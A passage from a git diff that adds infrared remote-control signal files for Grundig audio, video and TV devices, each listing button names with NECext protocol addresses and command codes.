NECext +address: A2 A2 00 00 +command: 06 00 00 00 +# +name: KEY_TUNER +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: 07 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: 09 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: 0A 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: 0B 00 00 00 +# +name: tuning_up +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: 0C 00 00 00 +# +name: random +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: 0D 00 00 00 +# +name: band +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: 0E 00 00 00 +# +name: KEY_CD +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: 0F 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: 11 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: 12 00 00 00 +# +name: KEY_PLAYPAUSE +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: 13 00 00 00 +# +name: time_program +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: 14 00 00 00 +# +name: intro +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: 15 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: 19 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: 1A 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: 1B 00 00 00 +# +name: repeat/scan +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: 1C 00 00 00 +# +name: KEY_TAPE +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: 1E 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: 20 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: 60 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: A0 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: E0 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Grundig/Unknown_Grundig-TP660/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Grundig/Unknown_Grundig-TP660/0,-1.ir new file mode 100644 index 000000000..13c45afe8 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Grundig/Unknown_Grundig-TP660/0,-1.ir @@ -0,0 +1,248 @@ +Filetype: IR signals file +Version: 1 +# +name: 32 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: 40 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: 14 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: 36 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: 29 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: 28 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: 24 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: 23 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: 19 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: 18 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: 39 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: 38 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: 34 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: 33 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: 26 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: 11 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: 12 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: 13 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: 15 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: 16 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: 17 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: 20 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 00 +# +name: 21 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: 22 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 19 00 00 00 +# +name: 25 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: 27 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1B 00 00 00 +# +name: 37 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: 30 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1D 00 00 00 +# +name: 35 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: 41 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2D 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2E 00 00 00 +# +name: 10 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 30 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 34 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 38 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 39 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3A 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3B 00 00 00 +# +name: 31 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3B 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3C 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3D 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Grundig/Unknown_RC-TP3/8,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Grundig/Unknown_RC-TP3/8,-1.ir new file mode 100644 index 000000000..adf48a8df --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Grundig/Unknown_RC-TP3/8,-1.ir @@ -0,0 +1,242 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 09 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0D 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0E 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 11 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 1E 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 1F 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 20 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 21 00 00 00 +# +name: CEC +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 22 00 00 00 +# +name: USR3 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 23 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 2C 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 2E 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 30 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 35 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 36 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 3C 00 00 00 +# +name: USR4 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 45 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 46 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 4F 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 50 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 51 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 55 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 56 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 57 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 6B 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 6C 00 00 00 +# +name: YEL +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 6D 00 00 00 +# +name: BLU +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 6E 00 00 00 +# +name: USR2 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 75 00 00 00 +# +name: USR1 +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 7E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Grundig/Unknown_RC8400CD/20,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Grundig/Unknown_RC8400CD/20,-1.ir new file mode 100644 index 000000000..331be4d77 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Grundig/Unknown_RC8400CD/20,-1.ir @@ -0,0 +1,146 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 09 00 00 00 +# +name: KEY_0+ +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 0A 00 00 00 +# +name: KEY_0+ +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 0B 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 1D 00 00 00 +# +name: track+ +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 20 00 00 00 +# +name: track- +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 21 00 00 00 +# +name: index+ +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 22 00 00 00 +# +name: index- +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 23 00 00 00 +# +name: store +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 29 00 00 00 +# +name: scan +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 2B 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 30 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 32 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 34 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 35 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 36 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Grundig/Unknown_RP/5,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Grundig/Unknown_RP/5,-1.ir new file mode 100644 index 000000000..a77baf33b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Grundig/Unknown_RP/5,-1.ir @@ -0,0 +1,176 @@ +Filetype: IR signals file +Version: 1 +# +name: c0 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 00 00 00 00 +# +name: c1 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 01 00 00 00 +# +name: c2 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 02 00 00 00 +# +name: c3 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 03 00 00 00 +# +name: c4 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 04 00 00 00 +# +name: c5 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 05 00 00 00 +# +name: c6 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 06 00 00 00 +# +name: c7 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 07 00 00 00 +# +name: c8 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 08 00 00 00 +# +name: c9 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 09 00 00 00 +# +name: selvps +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0B 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0C 00 00 00 +# +name: tracking +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0E 00 00 00 +# +name: timer +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1D 00 00 00 +# +name: KEY_KPPLUS +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 20 00 00 00 +# +name: KEY_KPMINUS +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 21 00 00 00 +# +name: rev +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 25 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 26 00 00 00 +# +name: still +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 29 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 31 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 35 00 00 00 +# +name: pausestop +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 36 00 00 00 +# +name: arecordotr +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 37 00 00 00 +# +name: splp +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 3A 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 70 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 71 00 00 00 +# +name: monitor +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 7A 00 00 00 +# +name: KEY_TUNER +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 7D 00 00 00 +# +name: cass +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 7E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Grundig/Unknown_TP-750C/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Grundig/Unknown_TP-750C/0,-1.ir new file mode 100644 index 000000000..04a94222a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Grundig/Unknown_TP-750C/0,-1.ir @@ -0,0 +1,170 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_AUX +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_LIGHTS_TOGGLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: KEY_LIGHTS_TOGGLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: color+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: color- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 19 00 00 00 +# +name: prg+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2A 00 00 00 +# +name: prg- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2B 00 00 00 +# +name: KEY_I +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2D 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2E 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 30 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3A 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3B 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Grundig/Unknown_TP/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Grundig/Unknown_TP/0,-1.ir new file mode 100644 index 000000000..f846306f4 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Grundig/Unknown_TP/0,-1.ir @@ -0,0 +1,194 @@ +Filetype: IR signals file +Version: 1 +# +name: OK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: SPEAKER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: 16:9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: IDTV +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: AUX +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: VOL+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: VOL- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: BRIGHTNESS+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: BRIGHTNESS- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: CONTRAST+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: CONTRAST- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 19 00 00 00 +# +name: P/C +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: PIP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 29 00 00 00 +# +name: P+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2A 00 00 00 +# +name: P- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2B 00 00 00 +# +name: INFORMATION +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2D 00 00 00 +# +name: BLUE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2E 00 00 00 +# +name: VIDEOTEXT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 30 00 00 00 +# +name: RED +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3A 00 00 00 +# +name: YELLOW +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3B 00 00 00 +# +name: GREEN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Grundig/Unknown_UMS9V/162,162.ir b/assets/resources/infrared/_CSV-IRDB_/Grundig/Unknown_UMS9V/162,162.ir new file mode 100644 index 000000000..59b32f9e3 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Grundig/Unknown_UMS9V/162,162.ir @@ -0,0 +1,116 @@ +Filetype: IR signals file +Version: 1 +# +name: TUNE_DOWN +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: 04 00 00 00 +# +name: MODE_remain +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: 05 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: 06 00 00 00 +# +name: KEY_TUNER +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: 07 00 00 00 +# +name: TUNE_UP +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: 0C 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: 0D 00 00 00 +# +name: BAND +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: 0E 00 00 00 +# +name: KEY_CD +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: 0F 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: 13 00 00 00 +# +name: MEMORY_clock +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: 14 00 00 00 +# +name: INTRO +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: 15 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: 17 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: 1B 00 00 00 +# +name: REPEAT_PRESET +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: 1C 00 00 00 +# +name: BASS +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: 1D 00 00 00 +# +name: KEY_TAPE +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: 1E 00 00 00 +# +name: TIMER +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: 1F 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: 20 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: A2 A2 00 00 +command: 60 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Grundig/Unknown_rp700/5,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Grundig/Unknown_rp700/5,-1.ir new file mode 100644 index 000000000..4ccb31960 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Grundig/Unknown_rp700/5,-1.ir @@ -0,0 +1,164 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 09 00 00 00 +# +name: KEY_SELECT +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0B 00 00 00 +# +name: OFF +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 0C 00 00 00 +# +name: TIMER +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 1D 00 00 00 +# +name: KEY_KPPLUS +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 20 00 00 00 +# +name: KEY_KPMINUS +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 21 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 25 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 26 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 29 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 31 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 35 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 36 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 37 00 00 00 +# +name: SP/LP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 3A 00 00 00 +# +name: SYSTEM +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 4A 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 57 00 00 00 +# +name: INDEX +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 70 00 00 00 +# +name: MONITOR +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 7A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Grundig/Unknown_tp621/1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Grundig/Unknown_tp621/1,-1.ir new file mode 100644 index 000000000..4943ab14d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Grundig/Unknown_tp621/1,-1.ir @@ -0,0 +1,302 @@ +Filetype: IR signals file +Version: 1 +# +name: ok +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: u +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 00 00 00 00 +# +name: mute +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: w +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 01 00 00 00 +# +name: power +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: y +type: parsed 